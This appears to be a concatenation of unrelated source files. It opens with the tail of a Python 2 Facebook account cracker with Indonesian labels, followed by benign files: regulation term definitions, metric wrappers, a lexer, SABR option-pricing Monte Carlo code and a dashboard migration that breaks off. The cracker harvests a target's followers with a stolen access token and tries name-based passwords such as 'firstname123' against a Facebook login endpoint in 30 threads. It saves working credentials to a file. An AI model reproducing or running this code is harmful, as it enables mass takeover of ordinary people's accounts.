"\033[1;94m─" raw_input("\033[1;97m{<\033[1;96mKembali\033[1;97m>}") os.system("python2 crot.py") ##### CRACK FOLLOW ##### def crack_follow(): toket=open('login.txt','r').read() os.system('clear') print logo print 50* "\033[1;94m─" print (" \033[1;95m●●● \033[1;97mCRACK FOLLOWERS \033[1;95m●●●") print 50* "\033[1;94m─" idt = raw_input("\033[1;97m{\033[1;95m●\033[1;97m} \033[1;95mID Publik/Teman \033[1;91m:\033[1;92m ") try: jok = requests.get("https://graph.facebook.com/"+idt+"?access_token="+toket) op = json.loads(jok.text) print"\033[1;97m{\033[1;95m●\033[1;97m} \033[1;95mNama \033[1;91m:\033[1;92m "+op["name"] except KeyError: print"\033[1;97m{\033[1;91m!\033[1;97m} ID publik/teman tidak ada !" raw_input("\n\033[1;95m[\033[1;97m<Kembali>\033[1;95m]") menu() except requests.exceptions.ConnectionError: print"\033[1;97m{\033[1;91m!\033[1;97m} Tidak ada koneksi !" keluar() r = requests.get("https://graph.facebook.com/"+idt+"/subscribers?limit=999999&access_token="+toket) z = json.loads(r.text) for i in z['data']: id.append(i['id']) print "\033[1;97m{\033[1;95m●\033[1;97m} \033[1;95mTotal ID Followers \033[1;91m:\033[1;92m "+str(len(id)) print('\033[1;97m{\033[1;95m●\033[1;97m} \033[1;95mStop Tekan CTRL+Z') titik = ['. ','.. ','... '] for o in titik: print("\r\033[1;97m{\033[1;95m●\033[1;97m} \033[1;95mCrack Berjalan "+o),;sys.stdout.flush();time.sleep(1) print("\n\033[1;97m{\033[1;95m●\033[1;97m} \033[1;95mGunakan Mode Pesawat Jika Tidak Ada Hasil") print ("\033[1;94m──────────────────────────────────────────────────") ##### MAIN FOLLOW ##### def main(arg): sys.stdout.write("\r{}".format(datetime.now().strftime("\033[1;96m%H\033[1;91m:\033[1;93m%M\033[1;91m:\033[1;92m%S")));sys.stdout.flush() global cekpoint,oks zowe = arg try: os.mkdir('done') except OSError: pass try: an = requests.get('https://graph.facebook.com/'+zowe+'/?access_token='+toket) j = json.loads(an.text) bos1 = j['first_name'].lower()+'123' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(zowe)+"&locale=en_US&password="+(bos1)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") ko = json.load(data) if 'access_token' in ko: print ("\n\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} \x1b[1;92mBERHASIL") print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;92m") + j['name'] print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;92m") + zowe print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;92m") + bos1 oke = open("done/follow.txt", "a") oke.write("\n{×} BERHASIL \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos1+"\n") oke.close() oks.append(zowe) else: if 'www.facebook.com' in ko['error_msg']: print ("\n\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} \x1b[1;95mCEKPOINT") print ("\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;95m") + j['name'] print ("\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;95m") + zowe print ("\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;95m") + bos1 cek = open("done/follow.txt", "a") cek.write("\n{×} CEKPOINT \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos1+"\n") cek.close() cekpoint.append(zowe) else: bos2 = j['first_name'].lower()+'1234' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(zowe)+"&locale=en_US&password="+(bos2)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") ko = json.load(data) if 'access_token' in ko: print ("\n\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} \x1b[1;92mBERHASIL") print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;92m") + j['name'] print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;92m") + zowe print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;92m") + bos2 oke = open("done/follow.txt", "a") oke.write("\n{×} BERHASIL \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos2+"\n") oke.close() oks.append(zowe) else: if 'www.facebook.com' in ko['error_msg']: print ("\n\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} \x1b[1;95mCEKPOINT") print ("\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;95m") + j['name'] print ("\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;95m") + zowe print ("\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;95m") + bos2 cek = open("done/follow.txt", "a") cek.write("\n{×} CEKPOINT \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos2+"\n") cek.close() cekpoint.append(zowe) else: bos3 = j['first_name'].lower()+'12345' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(zowe)+"&locale=en_US&password="+(bos3)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") ko = json.load(data) if 'access_token' in ko: print ("\n\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} \x1b[1;92mBERHASIL") print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;92m") + j['name'] print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;92m") + zowe print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;92m") + bos3 oke = open("done/follow.txt", "a") oke.write("\n{×} BERHASIL \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos3+"\n") oke.close() oks.append(zowe) else: if 'www.facebook.com' in ko['error_msg']: print ("\n\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} \x1b[1;95mCEKPOINT") print ("\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;95m") + j['name'] print ("\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;95m") + zowe print ("\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;95m") + bos3 cek = open("done/follow.txt", "a") cek.write("\n{×} CEKPOINT \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos3+"\n") cek.close() cekpoint.append(zowe) else: bos4 = j['last_name'].lower()+'123' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(zowe)+"&locale=en_US&password="+(bos4)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") ko = json.load(data) if 'access_token' in ko: print ("\n\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} \x1b[1;92mBERHASIL") print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;92m") + j['name'] print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;92m") + zowe print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;92m") + bos4 oke = open("done/follow.txt", "a") oke.write("\n{×} BERHASIL \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos4+"\n") oke.close() oks.append(zowe) else: if 'www.facebook.com' in ko['error_msg']: print ("\n\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} \x1b[1;95mCEKPOINT") print ("\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;95m") + j['name'] print ("\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;95m") + zowe print ("\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;95m") + bos4 cek = open("done/follow.txt", "a") cek.write("\n{×} CEKPOINT \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos4+"\n") cek.close() cekpoint.append(zowe) else: bos5 = j['last_name'].lower()+'1234' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(zowe)+"&locale=en_US&password="+(bos5)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") ko = json.load(data) if 'access_token' in ko: print ("\n\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} \x1b[1;92mBERHASIL") print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;92m") + j['name'] print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;92m") + zowe print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;92m") + bos5 oke = open("done/follow.txt", "a") oke.write("\n{×} BERHASIL \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos5+"\n") oke.close() oks.append(zowe) else: if 'www.facebook.com' in ko['error_msg']: print ("\n\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} \x1b[1;95mCEKPOINT") print ("\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;95m") + j['name'] print ("\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;95m") + zowe print ("\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;95m") + bos5 cek = open("done/follow.txt", "a") cek.write("\n{×} CEKPOINT \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos5+"\n") cek.close() cekpoint.append(zowe) else: bos6 = j['last_name'].lower()+'12345' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(zowe)+"&locale=en_US&password="+(bos6)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") ko = json.load(data) if 'access_token' in ko: print ("\n\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} \x1b[1;92mBERHASIL") print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;92m") + j['name'] print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;92m") + zowe print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;92m") + bos6 oke = open("done/follow.txt", "a") oke.write("\n{×} BERHASIL \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos6+"\n") oke.close() oks.append(zowe) else: if 'www.facebook.com' in ko['error_msg']: print ("\n\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} \x1b[1;95mCEKPOINT") print ("\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;95m") + j['name'] print ("\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;95m") + zowe print ("\x1b[1;97m{\x1b[1;95m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;95m") + bos6 cek = open("done/follow.txt", "a") cek.write("\n{×} CEKPOINT \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos6+"\n") cek.close() cekpoint.append(zowe) except: pass p = ThreadPool(30) p.map(main, id) print "\n\033[1;94m──────────────────────────────────────────────────" print '\033[1;97m{\033[1;95m●\033[1;97m} \033[1;95mSelesai ...' print"\033[1;97m{\033[1;95m●\033[1;97m} \033[1;95mTotal \033[1;92mOK\033[1;97m/\x1b[1;95mCP \033[1;97m: \033[1;92m"+str(len(oks))+"\033[1;97m/\033[1;95m"+str(len(cekpoint)) print '\033[1;97m{\033[1;95m●\033[1;97m} \033[1;92mOK\033[1;97m/\x1b[1;95mCP \033[1;95mfile tersimpan \033[1;91m: \033[1;92mdone/follow.txt' print 50* "\033[1;94m─" raw_input("\033[1;97m{<\033[1;95mKembali\033[1;97m>}") os.system("python2 crot.py") ##### USERNAME ID #### def user_id(): os.system('clear') print logo print 50* "\033[1;94m─" ling = ('https://www.facebook.com/') url = ling+raw_input("\033[1;97m{\033[1;95m×\033[1;97m} Username : ") idre = re.compile('"entity_id":"([0-9]+)"') page = requests.get(url) print idre.findall(page.content) raw_input("\n\033[1;95m[\033[1;97m<Kembali>\033[1;95m]") menu() ##### PERBARUI ##### def perbarui(): os.system("clear") print logo print "\033[1;94m──────────────────────────────────────────────────" jalan ("\033[1;92mMemperbarui Script ...\033[1;93m") os.system("git pull origin master") raw_input("\n\033[1;94m{\033[1;97m<Kembali>\033[1;94m}") os.system("python2 cro5.py") if __name__=='__main__': menu() masuk()

54.483055

442

0.561046

16,812

101,284

3.461456

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0.079029

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0.912293

0.904011

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0.884473

0

0.179272

0.200713

101,284

1,858

443

54.512379

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null

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null

0.318208

0

null

0

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1

0

1

0

null

0

1

0

1

0

10

45b0a2581d0adc8def9121faf29dab59c36df956

247

py

Python

eregs_extensions/epa_regparser/term_defs/__init__.py

18F/notice-and-comment

fd9fec2efcb8d96fbcc5d12bd01809b2f6135d71

[ "CC0-1.0" ]

4

2016-07-28T21:16:32.000Z

2021-12-18T07:41:47.000Z

eregs_extensions/epa_regparser/term_defs/__init__.py

18F/notice-and-comment

fd9fec2efcb8d96fbcc5d12bd01809b2f6135d71

[ "CC0-1.0" ]

31

2016-07-01T21:56:38.000Z

2016-11-10T02:21:52.000Z

eregs_extensions/epa_regparser/term_defs/__init__.py

18F/notice-and-comment

fd9fec2efcb8d96fbcc5d12bd01809b2f6135d71

[ "CC0-1.0" ]

9

2016-08-29T00:13:07.000Z

2021-06-27T06:47:38.000Z

# -*- coding: utf-8 -*- term_defs = { "264": [ ("CROMERR Costs", "CROMERR Costs are the sub-category of") ], "265": [ ("CROMERR Costs", "CROMERR Costs are the sub-category of") ] } ignores = { }

15.4375

49

0.477733

26

247

4.5

0.576923

0.410256

0.324786

0.410256

0.735043

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null

0

8

45b330f34f3b1ea618caa585291734f4d94cf765

242

py

Python

src/latte/metrics/torch/interpolatability.py

SoftwareImpacts/SIMPAC-2021-192

92c6eb8bb8b1f45b0b86d222b87b2f1e4e949d04

[ "MIT" ]

1

2021-12-21T00:38:21.000Z

src/latte/metrics/torch/interpolatability.py

SoftwareImpacts/SIMPAC-2021-192

92c6eb8bb8b1f45b0b86d222b87b2f1e4e949d04

[ "MIT" ]

null

src/latte/metrics/torch/interpolatability.py

SoftwareImpacts/SIMPAC-2021-192

92c6eb8bb8b1f45b0b86d222b87b2f1e4e949d04

[ "MIT" ]

null

from .wrapper import TorchMetricWrapper from ..core import interpolatability as C from functools import partial Smoothness = partial(TorchMetricWrapper, metric=C.Smoothness) Monotonicity = partial(TorchMetricWrapper, metric=C.Monotonicity)

30.25

65

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242

7.807692

0.5

0.246305

0.305419

0.315271

0

0.099174

242

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null

0

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7

aff179b7bc7aa95eeda3860429a27a1853800ac3

75

py

Python

src/cmp/cool_lang/lexer/__init__.py

codestrange/cool-compiler-2020

30508965d75a1a1d1362d0b51bef8da3978fd0c2

[ "MIT" ]

3

2020-01-14T04:47:32.000Z

2020-09-10T17:57:20.000Z

src/cmp/cool_lang/lexer/__init__.py

codestrange/cool-compiler-2020

30508965d75a1a1d1362d0b51bef8da3978fd0c2

[ "MIT" ]

5

2020-01-14T06:06:35.000Z

2020-02-19T01:01:33.000Z

src/cmp/cool_lang/lexer/__init__.py

codestrange/cool-compiler-2020

30508965d75a1a1d1362d0b51bef8da3978fd0c2

[ "MIT" ]

3

2020-01-14T04:58:24.000Z

2020-01-14T16:23:41.000Z

from .cllexer import COOL_LEXER from .cllexer import tokens as COOL_TOKENS

25

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0.583333

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0.557377

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0.133333

75

2

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37.5

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0

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1

0

null

0

1

0

1

0

1

0

7

b312f4704293202565843255fab0b4c353f7bf19

68

py

Python

scrapydd/scripts/scrapyddagent.py

zanachka/scrapydd

ba7854a69e756e5d0e6b5f835d8f36fe57f7f7c2

[ "Apache-2.0" ]

5

2017-06-13T05:07:57.000Z

2021-02-26T16:16:49.000Z

scrapydd/scripts/scrapyddagent.py

zanachka/scrapydd

ba7854a69e756e5d0e6b5f835d8f36fe57f7f7c2

[ "Apache-2.0" ]

7

2019-04-15T01:34:30.000Z

2020-09-16T02:41:00.000Z

scrapydd/scripts/scrapyddagent.py

zanachka/scrapydd

ba7854a69e756e5d0e6b5f835d8f36fe57f7f7c2

[ "Apache-2.0" ]

3

2017-06-28T09:58:28.000Z

2020-07-09T08:57:57.000Z

import scrapydd.executor def main(): scrapydd.executor.run()

17

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true

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null

0

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0

1

0

1

0

7

b32314331b67b06092cc410d7fc4a92d6f6f4b2a

9,540

py

Python

py/HW3/option_models/sabr.py

XueyangHu/ASP

4454328bef6ad1de0b58063924989012014bc65e

[ "MIT" ]

null

py/HW3/option_models/sabr.py

XueyangHu/ASP

4454328bef6ad1de0b58063924989012014bc65e

[ "MIT" ]

null

py/HW3/option_models/sabr.py

XueyangHu/ASP

4454328bef6ad1de0b58063924989012014bc65e

[ "MIT" ]

null

# -*- coding: utf-8 -*- """ Created on Tue Oct 10 @author: jaehyuk """ import numpy as np import scipy.stats as ss import scipy.optimize as sopt from . import normal from . import bsm import pyfeng as pf import scipy.integrate as spint ''' MC model class for Beta=1 ''' class ModelBsmMC: beta = 1.0 # fixed (not used) vov, rho = 0.0, 0.0 sigma, intr, divr = None, None, None bsm_model = None ''' You may define more members for MC: time step, etc ''' def __init__(self, sigma, vov=0, rho=0.0, beta=1.0, intr=0, divr=0): self.sigma = sigma self.vov = vov self.rho = rho self.intr = intr self.divr = divr self.bsm_model = pf.Bsm(sigma, intr=intr, divr=divr) def bsm_vol(self, strike, spot, texp=None, sigma=None): '''' From the price from self.price() compute the implied vol this is the opposite of bsm_vol in ModelHagan class use bsm_model ''' return 0 def price(self, strike, spot, texp=None, sigma=None, cp=1, step=100, iter=10000, seed=12345): ''' Your MC routine goes here Generate paths for vol and price first. Then get prices (vector) for all strikes You may fix the random number seed ''' self.step = step # number of time steps of MC self.iter = iter # number of iteration of MC # np.random.seed(12345) np.random.seed(seed) # Generate correlated normal random variables W1, Z1 z = np.random.normal(size=(self.iter, self.step)) x = np.random.normal(size=(self.iter, self.step)) w = self.rho * z + np.sqrt(1-self.rho**2) * x path_size = np.zeros([self.iter, self.step + 1]) # shape instrument for defining variables below delta_tk = texp / self.step # length of each time step log_sk = np.log(spot) * np.ones_like(path_size) # log of price sk = spot * np.ones_like(path_size) # price sigma_tk = self.sigma * np.ones_like(path_size) # sigma for i in range(self.step): log_sk[:, i+1] = log_sk[:, i] + sigma_tk[:, i] * np.sqrt(delta_tk) * w[:, i] - 0.5 * (sigma_tk[:, i]**2) * delta_tk sigma_tk[:, i+1] = sigma_tk[:, i] * np.exp(self.vov * np.sqrt(delta_tk) * z[:, i] - 0.5 * (self.vov**2) * delta_tk) sk[:, i+1] = np.exp(log_sk[:, i+1]) price_sabr_bsm_mc = np.zeros_like(strike) self.price_mc = np.zeros([self.iter, len(strike)]) # used for cpmputing MC variance for j in range(len(strike)): self.price_mc[:, j] = np.maximum(sk[:, -1] - strike[j], 0) price_sabr_bsm_mc[j] = np.mean(np.maximum(sk[:, -1] - strike[j], 0)) return price_sabr_bsm_mc ''' MC model class for Beta=0 ''' class ModelNormalMC: beta = 0.0 # fixed (not used) vov, rho = 0.0, 0.0 sigma, intr, divr = None, None, None normal_model = None def __init__(self, sigma, vov=0, rho=0.0, beta=0.0, intr=0, divr=0): self.sigma = sigma self.vov = vov self.rho = rho self.intr = intr self.divr = divr self.normal_model = pf.Norm(sigma, intr=intr, divr=divr) def norm_vol(self, strike, spot, texp=None, sigma=None): '''' From the price from self.price() compute the implied vol this is the opposite of normal_vol in ModelNormalHagan class use normal_model ''' return 0 def price(self, strike, spot, texp=None, sigma=None, cp=1, step=100, iter=10000, seed=12345): ''' Your MC routine goes here Generate paths for vol and price first. Then get prices (vector) for all strikes You may fix the random number seed ''' self.step = step # number of time steps of MC self.iter = iter # number of iteration of MC # np.random.seed(12345) np.random.seed(seed) # Generate correlated normal random variables W1, Z1 z = np.random.normal(size=(self.iter, self.step)) x = np.random.normal(size=(self.iter, self.step)) w = self.rho * z + np.sqrt(1-self.rho**2) * x path_size = np.zeros([self.iter, self.step + 1]) # shape instrument for defining variables below delta_tk = texp / self.step # length of each time step sk = spot * np.ones_like(path_size) # price sigma_tk = self.sigma * np.ones_like(path_size) # sigma for i in range(self.step): sk[:, i+1] = sk[:, i] + sigma_tk[:, i] * w[:, i] * np.sqrt(delta_tk) sigma_tk[:, i+1] = sigma_tk[:, i] * np.exp(self.vov * np.sqrt(delta_tk) * z[:, i] - 0.5 * (self.vov ** 2) * delta_tk) price_sabr_norm_mc = np.zeros_like(strike) for j in range(len(strike)): price_sabr_norm_mc[j] = np.mean(np.maximum(sk[:, -1] - strike[j], 0)) return price_sabr_norm_mc ''' Conditional MC model class for Beta=1 ''' class ModelBsmCondMC: beta = 1.0 # fixed (not used) vov, rho = 0.0, 0.0 sigma, intr, divr = None, None, None bsm_model = None ''' You may define more members for MC: time step, etc ''' def __init__(self, sigma, vov=0, rho=0.0, beta=1.0, intr=0, divr=0): self.sigma = sigma self.vov = vov self.rho = rho self.intr = intr self.divr = divr self.bsm_model = pf.Bsm(sigma, intr=intr, divr=divr) def bsm_vol(self, strike, spot, texp=None): '''' From the price from self.price() compute the implied vol this is the opposite of bsm_vol in ModelHagan class use bsm_model should be same as bsm_vol method in ModelBsmMC (just copy & paste) ''' return 0 def price(self, strike, spot, texp=None, cp=1, step=100, iter=10000, seed=12345): ''' Your MC routine goes here Generate paths for vol only. Then compute integrated variance and BSM price. Then get prices (vector) for all strikes You may fix the random number seed ''' self.step = step self.iter = iter # np.random.seed(12345) np.random.seed(seed) z = np.random.normal(size=(self.iter, self.step)) # Generate normal random variables Z1 driving sigma delta_tk = texp / self.step # length of each time step sigma_tk = self.sigma * np.ones([self.iter, self.step+1]) # sigma for i in range(self.step): sigma_tk[:, i+1] = sigma_tk[:, i] * np.exp(self.vov * np.sqrt(delta_tk) * z[:, i] - 0.5 * (self.vov ** 2) * delta_tk) I = spint.simps(sigma_tk * sigma_tk, dx=texp/self.step) / (self.sigma**2) # compute I(T) using Simpson's rule # I = np.mean(sigma_tk * sigma_tk, axis=1) / (self.sigma**2) spot_cond_mc = spot * np.exp(self.rho * (sigma_tk[:, -1] - self.sigma) / self.vov - (self.rho*self.sigma)**2 * texp * I / 2) vol_cond_mc = self.sigma * np.sqrt((1 - self.rho**2) * I) price_sabr_bsm_cond_mc = np.zeros_like(strike) for j in range(len(strike)): price_sabr_bsm_cond_mc[j] = np.mean(bsm.price(strike[j], spot_cond_mc, texp, vol_cond_mc)) return price_sabr_bsm_cond_mc ''' Conditional MC model class for Beta=0 ''' class ModelNormalCondMC: beta = 0.0 # fixed (not used) vov, rho = 0.0, 0.0 sigma, intr, divr = None, None, None normal_model = None def __init__(self, sigma, vov=0, rho=0.0, beta=0.0, intr=0, divr=0): self.sigma = sigma self.vov = vov self.rho = rho self.intr = intr self.divr = divr self.normal_model = pf.Norm(sigma, intr=intr, divr=divr) def norm_vol(self, strike, spot, texp=None): '''' From the price from self.price() compute the implied vol this is the opposite of normal_vol in ModelNormalHagan class use normal_model should be same as norm_vol method in ModelNormalMC (just copy & paste) ''' return 0 def price(self, strike, spot, texp=None, cp=1, step=100, iter=10000, seed=12345): ''' Your MC routine goes here Generate paths for vol only. Then compute integrated variance and normal price. You may fix the random number seed ''' self.step = step self.iter = iter # np.random.seed(12345) np.random.seed(seed) z = np.random.normal(size=(self.iter, self.step)) # Generate normal random variables Z1 driving sigma delta_tk = texp / self.step # length of each time step sigma_tk = self.sigma * np.ones([self.iter, self.step+1]) # sigma for i in range(self.step): sigma_tk[:, i+1] = sigma_tk[:, i] * np.exp(self.vov * np.sqrt(delta_tk) * z[:, i] - 0.5 * (self.vov ** 2) * delta_tk) I = spint.simps(sigma_tk * sigma_tk, dx=texp/self.step) / (self.sigma**2) # compute I(T) using Simpson's rule # I = np.mean(sigma_tk * sigma_tk, axis=1) / (self.sigma**2) spot_cond_mc = spot + self.rho * (sigma_tk[:, -1] - self.sigma) / self.vov vol_cond_mc = self.sigma * np.sqrt((1 - self.rho**2) * I) price_sabr_norm_cond_mc = np.zeros_like(strike) for j in range(len(strike)): price_sabr_norm_cond_mc[j] = np.mean(normal.price(strike[j], spot_cond_mc, texp, vol_cond_mc)) return price_sabr_norm_cond_mc

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Python

pyplan/pyplan/migrations/0014_demo_dashboards.py

jorgedouglas71/pyplan-ide

5ad0e4a2592b5f2716ff680018f717c65de140f5

[ "MIT" ]

17

2019-12-04T19:22:19.000Z

2021-07-28T11:17:05.000Z

pyplan/pyplan/migrations/0014_demo_dashboards.py

jorgedouglas71/pyplan-ide

5ad0e4a2592b5f2716ff680018f717c65de140f5

[ "MIT" ]

9

2019-12-13T15:34:43.000Z

2022-02-10T11:43:00.000Z

pyplan/pyplan/migrations/0014_demo_dashboards.py

jorgedouglas71/pyplan-ide

5ad0e4a2592b5f2716ff680018f717c65de140f5

[ "MIT" ]

5

2019-12-04T15:57:06.000Z

2021-08-20T19:59:26.000Z

from django.db import migrations xarray_in_pyplan_definition = { "definitionLarge": [ { "x": 0, "y": 0, "dims": [], "rows": [], "index": 0, "width": 4, "height": 12, "itemId": "8a8a4da8-4e2e-44c2-b7d6-9d1f3e5cd599", "nodeId": "", "columns": [], "itemType": "objectItem", "objectType": "diagramviewer", "itemProperties": { "diagramOptions": { "id": "06ffa1fc-35e7-41f3-9692-4ded605f5390", "posx": 0, "posy": 0, "zoom": 1, "autoCenter": False, "breadCrumb": True, "contextMenu": False, "currentModule": "xarray_in_pyplan", "showBreadcrumb": True, "listenMouseDown": True } } }, { "x": 4, "y": 0, "dims": [], "rows": [], "index": 1, "width": 8, "height": 2, "itemId": "d5f657d3-a8c9-4313-b6c4-b1fc3d63956c", "nodeId": "", "columns": [], "itemType": "objectItem", "objectType": "texteditor", "itemProperties": { "htmlcontent": "Standard Xarray broadcasting and math operations using Pyplan indexes. <div>Click on indexes \"Product\" & \"Region\" to see how filters work on interfaces</div>", "generalBackgroundColor": "#eeeeee" } }, { "x": 4, "y": 2, "dims": [], "rows": [], "index": 2, "width": 2, "height": 1, "itemId": "beac876b-3019-4dd4-aeec-ec1bfe01b75b", "nodeId": "", "columns": [], "itemType": "objectItem", "objectType": "texteditor", "itemProperties": { "htmlcontent": "Filters", "generalBackgroundColor": "#eeeeee" } }, { "x": 6, "y": 2, "dims": [], "rows": [ { "name": "Product", "field": "product.fruits_prices", "isGeo": False, "isTime": False, "levels": [], "values": [ { "type": "", "value": "Orange", "geoDef": None, "selected": True }, { "type": "", "value": "Apple", "geoDef": None, "selected": True }, { "type": "", "value": "Banana", "geoDef": None, "selected": True } ], "description": None, "currentLevel": None, "numberFormat": None } ], "index": 3, "width": 2, "height": 3, "itemId": "708fd53a-ffb1-4d69-a907-ffba8503edd8", "nodeId": "fruits_prices", "columns": [], "itemType": "table", "objectType": None, "itemProperties": { "axes": { "xAxis": { "max": None, "min": None, "title": { "text": "" }, "labels": { "align": None, "enabled": "True", "rotation": None }, "isSumList": [], "showTitle": True }, "yAxis": { "max": None, "min": None, "title": { "text": "" }, "labels": { "align": None, "enabled": "True", "rotation": None }, "isSumList": [], "showTitle": True }, "enabled": True }, "unit": "", "zoom": True, "table": { "styles": [ { "pos": 0, "index": "_alltable_", "style": { "pagination": 100 }, "value": -1 } ] }, "title": { "text": "Fruits Prices", "align": "center", "style": { "text": "#000000", "fontWeight": "normal" }, "margin": "", "enabled": True, "isCustom": False, "verticalAlign": "top" }, "detail": True, "legend": { "y": 0, "align": "right", "title": { "text": "" }, "layout": "vertical", "enabled": True, "borderWidth": 0, "verticalAlign": "middle" }, "tooltip": { "valueSuffix": None, "valueDecimals": 2 }, "subtitle": { "text": "", "style": { "text": "#000000", "fontWeight": "normal" }, "enabled": True, "verticalAlign": "top" }, "drilldown": True, "timeChart": { "active": False, "possible": False }, "originalId": None } }, { "x": 8, "y": 2, "dims": [], "rows": [ { "name": "Product", "field": "product.fruits_quantities", "isGeo": False, "isTime": False, "levels": [], "values": [ { "type": "", "value": "Orange", "geoDef": None, "selected": True }, { "type": "", "value": "Apple", "geoDef": None, "selected": True }, { "type": "", "value": "Banana", "geoDef": None, "selected": True } ], "description": None, "currentLevel": None, "numberFormat": None } ], "index": 4, "width": 2, "height": 3, "itemId": 